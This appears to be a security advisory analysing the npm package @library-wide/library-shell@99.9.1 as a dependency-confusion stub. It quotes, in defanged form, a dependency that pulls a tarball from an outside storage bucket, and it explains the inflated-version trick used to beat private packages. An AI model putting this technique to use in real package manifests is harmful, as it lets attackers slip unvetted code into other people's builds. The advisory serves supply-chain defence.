@library-wide/library-shell@99.9.1

Analysis

@library-wide/library-shell@99.9.1 is an empty dependency-confusion stub. The published tarball contains only a two-line index.js (`module.exports = {}`) and a package.json with no lifecycle hooks, no bin entries and no functional code — but it declares a single dependency that is a raw tarball URL rather than a registry package: "dependencies": { "ltidisafe": "hxxps://ltidi[.]storage[.]googleapis[.]com/depenconf/ltidisafe-3[.]8[.]4[.]tgz" } Installing this package therefore fetches and installs code from an external Google Cloud Storage bucket (ltidi[.]storage[.]googleapis[.]com, path /depenconf/ltidisafe-3.8.4.tgz) instead of from the npm registry, bypassing the registry's audit trail, integrity metadata and provenance checks. The package name is scoped (@library-wide/...) and carries the sentinel version 99.9.1, the shape used to win version resolution against internal/private packages of the same scope so that a build resolving the scope silently pulls the external tarball. The stub itself executes nothing; the risk is the off-registry dependency it drags into the install. Analysis is manifest-level: the referenced tarball is not on the registry and its contents were not examined, so no claim is made about what it contains.